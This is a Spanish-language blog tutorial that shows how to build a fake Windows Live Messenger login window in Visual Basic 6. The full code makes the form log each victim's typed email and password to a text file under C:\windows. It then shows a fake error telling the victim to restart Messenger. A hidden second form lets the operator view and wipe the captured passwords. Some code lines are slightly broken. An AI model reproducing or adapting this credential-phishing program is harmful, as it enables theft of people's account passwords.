Como crear msn fake con vb6

Este Tutorial A Sido Creado Para Aprender Y No Para Ripear No Sé Para Que digo Esto, Si Se Que Algún Lammer Se Copiara..!

Empezemos..

Abrimos Un Nuevo Projeccto EN VB

Archivo >> Nuevo proyecto >> Exe Estandandar

Tendremos Qué Hacer Que Se Parecca Al Msn 2008 o 2009 Por Eso En La Siguiente Link Os E Metido El Material Que Necesitaran. (DISEÑOS)

LINK: Descargar Diseños Windows Live Msn 2008
PASSWORD DEL RAR: DTS Team’S

Colocamos:

2 Text
2 Image
3 CheckBox

Pasos: Damos Click En El Form1.

Y Vamos Dónde Dice: Picture, Hay selecionamos El Diseño Llamado Fondo Windows Live Msn 2008

Después Vamos A Icon: Y selecionamos Icono Windows Live Msn 2008 De La Carpeta Mencionada.

Que podemos encontrar En La Carpeta De Diseños

En PictureBox1 Selecionamos La Imagen De Iniciar Sesion

Y en el Picture 2, La Insignia De Dicha Carpeta

Y Los 2 Text Los Colocamos En Su Orden

Nos Deveria Quedar Algo Así:

Bien Ahora Damos a Proyecto, Agregar Formulario, Formulario Y A Aceptar

Ya Tenemos Un Form2,

Aquí Agregamos 1 Text

Y 1 Botton O Una Imagen Que diga Limpiar contraseñas, Como Querais.

¿Ya icimos Todo Esto? Enorabuena!!

Ahora Vamos Con Los Códigos.

En el Form_Load Escribimos:

Open "C:windowsmsgpass.txt" For Append As #1
Print #1, ""
Close #1

Es Bastante Ovio su Funcionamiento, No Creo Q aga Falta decir Para Que servirá.

Ahora En El Form1, En La Imagen Iniciar sesion Damos Dos Click, Y Escribimos:

If Text1.Text = "" Then
MsgBox "Escribe tu id. de Windows live ID en este formato: tunombre@ejemplo.com", vbQuestion
Else
If Text2.Text = "" Then
MsgBox "Escribe tu contraseña" & vbCrLf & "codigo de error: 8004882e", vbQuestion
End If
End If
Open "C:windowsmsgpass.txt" For Append As #1
Print #1, Date & vbCrLf & "--------------------------------" & vbCrLf & Text1.Text & "----" & Text2.Text & vbCrLf & "--------------------------------" & vbCrLf
Close #1
MsgBox "Se ha producido un error, es necesario" & vbCrLf & "reiniciar Windows Live Messenger", vbCritical
Form1.Hide
Unload Form1

Voi A Tratar De Explicar Este Código:



Si en el Text1, No escribimos Nada Nos Saldra Un mensaje Diciendo:

Escribe tu id. de Windows live ID en este formato: tunombre@ejemplo.com

Con El Icono: Question

Si escribimos Algo En el Text1, Pero Nada En el Text2 Nos Sale Una alerta:

MsgBox "Escribe tu contraseña" & vbCrLf & "codigo de error: 8004882e", vbQuestion

Con El Icono: Question

Si Emos Escrito Algo En Los Dos Textos, Se Guarda En Un text, En C:Windows

Open "C:windowsmsgpass.txt" For Append As #1
Print #1, Date & vbCrLf & "--------------------------------" & vbCrLf & Text1.Text & "----" & Text2.Text & vbCrLf & "--------------------------------" & vbCrLf
Close #1

Como Podeis Ver Después De Guardarse en Un Texto Llamado MsgPass.

Saldra Un Mensaje Que Dice:

MsgBox "Se ha producido un error, es necesario" & vbCrLf & "reiniciar Windows Live Messenger", vbCritical

Con el Icono: De Cruz, En este Caso el Critical

Y el Formulario 1: Form1.Hide

Acabará ocultandose,

Ahora La Imagen dos, Es Decir La Insignia, Damos Doble Click Y escribimos:

Form2.Show >> Creo Q No hace Falta Que Esplique Su funcionamiento, pero para Principantes Esto
Te lleva al Form2 Que Creamos Anteriormente , Es decir Donde se Visualizaran las Password.

Ahora en el Formulario 2,
En Form_Load:

Los Siguientes Códigos:


Dim largo As Long
Dim texto As String
Open "c:windowsmsgpass.txt" For Input As #1
largo = FileLen("c:windowsmsgpass.txt"
texto = Input(largo, #1)
Close #1
Text1.Text = texto

Por si Alguien No Lo entiende

Declaramos Dos Variables “largo” Y “texto”

Open "c:windowsmsgpass.txt" For Input As #1

Esto Abre el text Que se guarda al Dar a Iniciar sesión

Como Podeis ver Se Guarda en el C:Windows

Text1.Text = texto

Esto Hace Cargar Lo Que Escribimos en el Text1. =)

En el botton Limpiar Contraseñas. O La Imagen En esté caso, Pondremos:

Kill ("C:windowsmsgpass.txt"
Text1.Text = ""
Open "C:windowsmsgpass.txt" For Append As #1
Print #1, ""
Close #1

El codigo:

Kill ("C:windowsmsgpass.txt"

Elimina del C:Windows el Archivo De Texto Llamado MsgPass,

Text1.Text = ""

Esto ace Que el texto Del text1 del Formulario 2 , Se Quede en Blanco. Podeis Poner entre Las comillas: Texto Limpiado, Si Lo deseais =)

Asi Al Dar A Dicho Botton Elimina Todo, y limpia el Texto Quedando solo Lo de Texto Limpiado.


Bueno, Como ya dije, Yo Ayudo a Programar, A Crear Programas, Y A Entender Códigos Etc.

Pero No Ayudo A Ripear. Está en Ustedes, Si Quieren ser Lammer Adelante, Copiense,

Una cosa Más.

Yo No Pongo Mis Sources Para Descargas, Si No Que LO Pongo En Este Blog, Para Asegurarme De Que Todos Aquellos Que quieren Programar de Verdad Lo creen por si solos.
PD: Puedeis Cambiar Las Imágenes Del Messenger Por El Plus o El Que Querais xD

SaludoZ !!